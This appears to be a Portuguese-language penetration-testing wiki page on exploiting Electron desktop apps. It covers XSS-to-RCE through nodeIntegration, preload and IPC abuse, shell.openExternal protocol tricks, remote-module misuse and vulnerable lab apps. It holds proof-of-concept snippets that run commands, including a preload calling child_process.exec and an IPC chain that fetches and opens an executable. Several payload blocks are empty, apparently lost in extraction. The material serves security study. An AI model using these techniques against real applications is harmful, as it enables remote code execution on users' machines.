# Electron Desktop Apps {{#include ../../../banners/hacktricks-training.md}} ## Introdução Electron combina um backend local (com **NodeJS**) e um frontend (**Chromium**), embora falte alguns dos mecanismos de segurança dos navegadores modernos. Normalmente, você pode encontrar o código do aplicativo electron dentro de uma aplicação `.asar`, para obter o código você precisa extraí-lo: ```bash npx asar extract app.asar destfolder #Extract everything npx asar extract-file app.asar main.js #Extract just a file ``` No código-fonte de um aplicativo Electron, dentro de `packet.json`, você pode encontrar especificado o arquivo `main.js` onde as configurações de segurança são definidas. ```json { "name": "standard-notes", "main": "./app/index.js", ``` O Electron tem 2 tipos de processos: - Processo Principal (tem acesso completo ao NodeJS) - Processo de Renderização (deve ter acesso restrito ao NodeJS por razões de segurança) ![](<../../../images/image (182).png>) Um **processo de renderização** será uma janela do navegador carregando um arquivo: ```javascript const { BrowserWindow } = require("electron") let win = new BrowserWindow() //Open Renderer Process win.loadURL(`file://path/to/index.html`) ``` As configurações do **renderer process** podem ser **configuradas** no **main process** dentro do arquivo main.js. Algumas das configurações irão **prevenir que a aplicação Electron obtenha RCE** ou outras vulnerabilidades se as **configurações estiverem corretamente configuradas**. A aplicação Electron **pode acessar o dispositivo** via APIs do Node, embora possa ser configurada para impedir isso: - **`nodeIntegration`** - está `desligado` por padrão. Se ativado, permite acessar recursos do Node a partir do renderer process. - **`contextIsolation`** - está `ativado` por padrão. Se desligado, os processos principal e renderer não estão isolados. - **`preload`** - vazio por padrão. - [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - está desligado por padrão. Isso restringirá as ações que o NodeJS pode realizar. - Integração do Node em Workers - **`nodeIntegrationInSubframes`** - está `desligado` por padrão. - Se **`nodeIntegration`** estiver **ativado**, isso permitiria o uso de **APIs do Node.js** em páginas da web que estão **carregadas em iframes** dentro de uma aplicação Electron. - Se **`nodeIntegration`** estiver **desativado**, então os preloads serão carregados no iframe. Exemplo de configuração: ```javascript const mainWindowOptions = { title: "Discord", backgroundColor: getBackgroundColor(), width: DEFAULT_WIDTH, height: DEFAULT_HEIGHT, minWidth: MIN_WIDTH, minHeight: MIN_HEIGHT, transparent: false, frame: false, resizable: true, show: isVisible, webPreferences: { blinkFeatures: "EnumerateDevices,AudioOutputDevices", nodeIntegration: false, contextIsolation: false, sandbox: false, nodeIntegrationInSubFrames: false, preload: _path2.default.join(__dirname, "mainScreenPreload.js"), nativeWindowOpen: true, enableRemoteModule: false, spellcheck: true, }, } ``` Alguns **RCE payloads** de [aqui](https://7as.es/electron/nodeIntegration_rce.txt): ```html Example Payloads (Windows): Example Payloads (Linux & MacOS): ``` ### Captura de tráfego Modifique a configuração start-main e adicione o uso de um proxy como: ```javascript "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors", ``` ## Injeção de Código Local do Electron Se você puder executar localmente um aplicativo Electron, é possível que você consiga fazer com que ele execute código JavaScript arbitrário. Confira como em: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md {{#endref}} ## RCE: XSS + nodeIntegration Se o **nodeIntegration** estiver definido como **on**, o JavaScript de uma página da web pode usar recursos do Node.js facilmente apenas chamando o `require()`. Por exemplo, a maneira de executar o aplicativo calc no Windows é: ```html ```
## RCE: preload O script indicado nesta configuração é l**oaded antes de outros scripts no renderizador**, então tem **acesso ilimitado às APIs do Node**: ```javascript new BrowserWindow{ webPreferences: { nodeIntegration: false, preload: _path2.default.join(__dirname, 'perload.js'), } }); ``` Portanto, o script pode exportar node-features para páginas: ```javascript:preload.js typeof require === "function" window.runCalc = function () { require("child_process").exec("calc") } ``` ```html:index.html ``` > [!NOTE] > **Se `contextIsolation` estiver ativado, isso não funcionará** ## RCE: XSS + contextIsolation O _**contextIsolation**_ introduz os **contextos separados entre os scripts da página da web e o código interno JavaScript do Electron**, de modo que a execução do JavaScript de cada código não afete o outro. Este é um recurso necessário para eliminar a possibilidade de RCE. Se os contextos não estiverem isolados, um atacante pode: 1. Executar **JavaScript arbitrário no renderer** (XSS ou navegação para sites externos) 2. **Sobrescrever o método embutido** que é usado no preload ou no código interno do Electron para uma função própria 3. **Acionar** o uso da **função sobrescrita** 4. RCE? Existem 2 lugares onde métodos embutidos podem ser sobrescritos: No código de preload ou no código interno do Electron: {{#ref}} electron-contextisolation-rce-via-preload-code.md {{#endref}} {{#ref}} electron-contextisolation-rce-via-electron-internal-code.md {{#endref}} {{#ref}} electron-contextisolation-rce-via-ipc.md {{#endref}} ### Bypass do evento de clique Se houver restrições aplicadas ao clicar em um link, você pode ser capaz de contorná-las **fazendo um clique do meio** em vez de um clique esquerdo regular. ```javascript window.addEventListener('click', (e) => { ``` ## RCE via shell.openExternal Para mais informações sobre esses exemplos, consulte [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) e [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) Ao implantar um aplicativo de desktop Electron, garantir as configurações corretas para `nodeIntegration` e `contextIsolation` é crucial. Está estabelecido que **execução remota de código (RCE)** do lado do cliente, visando scripts de preload ou o código nativo do Electron a partir do processo principal, é efetivamente prevenida com essas configurações em vigor. Quando um usuário interage com links ou abre novas janelas, ouvintes de eventos específicos são acionados, que são cruciais para a segurança e funcionalidade do aplicativo: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("will-navigate", function (event, url) {} ``` Esses ouvintes são **substituídos pelo aplicativo de desktop** para implementar sua própria **lógica de negócios**. O aplicativo avalia se um link navegável deve ser aberto internamente ou em um navegador da web externo. Essa decisão é tipicamente tomada através de uma função, `openInternally`. Se essa função retornar `false`, isso indica que o link deve ser aberto externamente, utilizando a função `shell.openExternal`. **Aqui está um pseudocódigo simplificado:** ![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>) ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>) As melhores práticas de segurança do Electron JS desaconselham aceitar conteúdo não confiável com a função `openExternal`, pois isso pode levar a RCE através de vários protocolos. Sistemas operacionais suportam diferentes protocolos que podem acionar RCE. Para exemplos detalhados e mais explicações sobre este tópico, pode-se consultar [este recurso](https://positive.security/blog/url-open-rce#windows-10-19042), que inclui exemplos de protocolos do Windows capazes de explorar essa vulnerabilidade. No macos, a função `openExternal` pode ser explorada para executar comandos arbitrários, como em `shell.openExternal('file:///System/Applications/Calculator.app')`. **Exemplos de exploits de protocolos do Windows incluem:** ```html ``` ## RCE: webviewTag + preload IPC vulnerável + shell.openExternal Essa vulnerabilidade pode ser encontrada em **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**. O **webviewTag** é um **recurso obsoleto** que permite o uso de **NodeJS** no **processo de renderização**, que deve ser desativado, pois permite carregar um script dentro do contexto de preload como: ```xml ``` Portanto, um atacante que conseguir carregar uma página arbitrária poderia usar essa tag para **carregar um script de pré-carregamento arbitrário**. Esse script de pré-carregamento foi abusado para chamar um **serviço IPC vulnerável (`skype-new-window`)** que estava chamando **`shell.openExternal`** para obter RCE: ```javascript (async() => { const { ipcRenderer } = require("electron"); await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH"); setTimeout(async () => { const username = process.execPath.match(/C:\\Users\\([^\\]+)/); await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`); }, 5000); })(); ``` ## Leitura de Arquivos Internos: XSS + contextIsolation **Desabilitar `contextIsolation` permite o uso de `` tags**, semelhante a ` ``` ## **RCE: XSS + Old Chromium** Se o **chromium** usado pela aplicação é **antigo** e há **vulnerabilidades conhecidas** nele, pode ser possível **explorá-lo e obter RCE através de um XSS**.\ Você pode ver um exemplo neste **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/) ## **XSS Phishing via Internal URL regex bypass** Supondo que você encontrou um XSS, mas **não consegue acionar RCE ou roubar arquivos internos**, você poderia tentar usá-lo para **roubar credenciais via phishing**. Primeiro de tudo, você precisa saber o que acontece quando tenta abrir uma nova URL, verificando o código JS no front-end: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below) webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below) ``` A chamada para **`openInternally`** decidirá se o **link** será **aberto** na **janela do desktop**, pois é um link pertencente à plataforma, **ou** se será aberto no **navegador como um recurso de terceiros**. No caso de a **regex** usada pela função ser **vulnerável a bypasses** (por exemplo, por **não escapar os pontos dos subdomínios**), um atacante poderia abusar do XSS para **abrir uma nova janela que** estará localizada na infraestrutura do atacante **solicitando credenciais** ao usuário: ```html ``` ## `file://` Protocol Como mencionado na [documentação](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols), páginas executadas em **`file://`** têm acesso unilateral a todos os arquivos em sua máquina, o que significa que **problemas de XSS podem ser usados para carregar arquivos arbitrários** da máquina do usuário. Usar um **protocolo personalizado** previne problemas como este, pois você pode limitar o protocolo a servir apenas um conjunto específico de arquivos. ## Remote module O módulo Remote do Electron permite que **processos de renderização acessem APIs do processo principal**, facilitando a comunicação dentro de um aplicativo Electron. No entanto, habilitar este módulo introduz riscos significativos de segurança. Ele expande a superfície de ataque do aplicativo, tornando-o mais suscetível a vulnerabilidades, como ataques de cross-site scripting (XSS). > [!TIP] > Embora o módulo **remote** exponha algumas APIs do principal para processos de renderização, não é simples obter RCE apenas abusando dos componentes. No entanto, os componentes podem expor informações sensíveis. > [!WARNING] > Muitos aplicativos que ainda usam o módulo remote o fazem de uma maneira que **exige que o NodeIntegration esteja habilitado** no processo de renderização, o que é um **enorme risco de segurança**. Desde o Electron 14, o módulo `remote` do Electron pode ser habilitado em várias etapas, pois, por razões de segurança e desempenho, é **recomendado não usá-lo**. Para habilitá-lo, primeiro é necessário **habilitá-lo no processo principal**: ```javascript const remoteMain = require('@electron/remote/main') remoteMain.initialize() [...] function createMainWindow() { mainWindow = new BrowserWindow({ [...] }) remoteMain.enable(mainWindow.webContents) ``` Então, o processo de renderização pode importar objetos do módulo, como: ```javascript import { dialog, getCurrentWindow } from '@electron/remote' ``` O **[post do blog](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indica algumas **funções** interessantes expostas pelo objeto **`app`** do módulo remoto: - **`app.relaunch([options])`** - **Reinicia** a aplicação **saindo** da instância atual e **iniciando** uma nova. Útil para **atualizações de app** ou mudanças significativas de **estado**. - **`app.setAppLogsPath([path])`** - **Define** ou **cria** um diretório para armazenar **logs do app**. Os logs podem ser **recuperados** ou **modificados** usando **`app.getPath()`** ou **`app.setPath(pathName, newPath)`**. - **`app.setAsDefaultProtocolClient(protocol[, path, args])`** - **Registra** o executável atual como o **manipulador padrão** para um **protocolo** especificado. Você pode fornecer um **caminho personalizado** e **argumentos** se necessário. - **`app.setUserTasks(tasks)`** - **Adiciona** tarefas à **categoria de Tarefas** na **Jump List** (no Windows). Cada tarefa pode controlar como o app é **iniciado** ou quais **argumentos** são passados. - **`app.importCertificate(options, callback)`** - **Importa** um **certificado PKCS#12** para o **armazenamento de certificados** do sistema (apenas Linux). Um **callback** pode ser usado para lidar com o resultado. - **`app.moveToApplicationsFolder([options])`** - **Move** a aplicação para a **pasta Aplicativos** (no macOS). Ajuda a garantir uma **instalação padrão** para usuários de Mac. - **`app.setJumpList(categories)`** - **Define** ou **remove** uma **Jump List personalizada** no **Windows**. Você pode especificar **categorias** para organizar como as tarefas aparecem para o usuário. - **`app.setLoginItemSettings(settings)`** - **Configura** quais **executáveis** são iniciados no **login** junto com suas **opções** (apenas macOS e Windows). ```javascript Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"}); Native.app.exit() ``` ## systemPreferences module A **API principal** para acessar preferências do sistema e **emitir eventos do sistema** no Electron. Métodos como **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** e **setUserDefault** são todos **parte de** este módulo. **Exemplo de uso:** ```javascript const { systemPreferences } = require('electron'); // Subscribe to a specific notification systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => { console.log('Received custom notification:', userInfo); }); // Get a user default key from macOS const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array'); console.log('Recent Places:', recentPlaces); ``` ### **subscribeNotification / subscribeWorkspaceNotification** * **Escuta** por **notificações nativas do macOS** usando NSDistributedNotificationCenter. * Antes do **macOS Catalina**, você poderia interceptar **todas** as notificações distribuídas passando **nil** para CFNotificationCenterAddObserver. * Após **Catalina / Big Sur**, aplicativos em sandbox ainda podem **se inscrever** em **muitos eventos** (por exemplo, **bloqueios/desbloqueios de tela**, **montagens de volume**, **atividade de rede**, etc.) registrando notificações **pelo nome**. ### **getUserDefault / setUserDefault** * **Interage** com **NSUserDefaults**, que armazena **preferências** de **aplicativos** ou **globais** no macOS. * **getUserDefault** pode **recuperar** informações sensíveis, como **localizações de arquivos recentes** ou **localização geográfica do usuário**. * **setUserDefault** pode **modificar** essas preferências, potencialmente afetando a **configuração** de um aplicativo. * Em **versões mais antigas do Electron** (antes da v8.3.0), apenas a **conjunto padrão** de NSUserDefaults estava **acessível**. ## Shell.showItemInFolder Esta função mostra o arquivo dado em um gerenciador de arquivos, o que **pode executar automaticamente o arquivo**. Para mais informações, consulte [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html) ## Content Security Policy Aplicativos Electron devem ter uma **Content Security Policy (CSP)** para **prevenir ataques XSS**. A **CSP** é um **padrão de segurança** que ajuda a **prevenir** a **execução** de **código não confiável** no navegador. Geralmente é **configurada** no arquivo **`main.js`** ou no template **`index.html`** com a CSP dentro de uma **meta tag**. Para mais informações, consulte: {{#ref}} pentesting-web/content-security-policy-csp-bypass/ {{#endref}} ## **Tools** - [**Electronegativity**](https://github.com/doyensec/electronegativity) é uma ferramenta para identificar configurações incorretas e padrões de segurança em aplicações baseadas em Electron. - [**Electrolint**](https://github.com/ksdmitrieva/electrolint) é um plugin de código aberto para VS Code para aplicações Electron que utiliza Electronegativity. - [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) para verificar bibliotecas de terceiros vulneráveis. - [**Electro.ng**](https://electro.ng/): Você precisa comprá-lo. ## Labs Em [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) você pode encontrar um laboratório para explorar aplicativos Electron vulneráveis. Alguns comandos que ajudarão você no laboratório: ```bash # Download apps from these URls # Vuln to nodeIntegration https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip # Vuln to contextIsolation via preload script https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip # Vuln to IPC Rce https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip # Get inside the electron app and check for vulnerabilities npm audit # How to use electronegativity npm install @doyensec/electronegativity -g electronegativity -i vulnerable1 # Run an application from source code npm install -g electron cd vulnerable1 npm install npm start ``` ## **Referências** - [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028) - [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d) - [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8) - [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg) - [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) - Mais pesquisas e artigos sobre segurança do Electron em [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) - [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81) - [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html) {{#include ../../../banners/hacktricks-training.md}}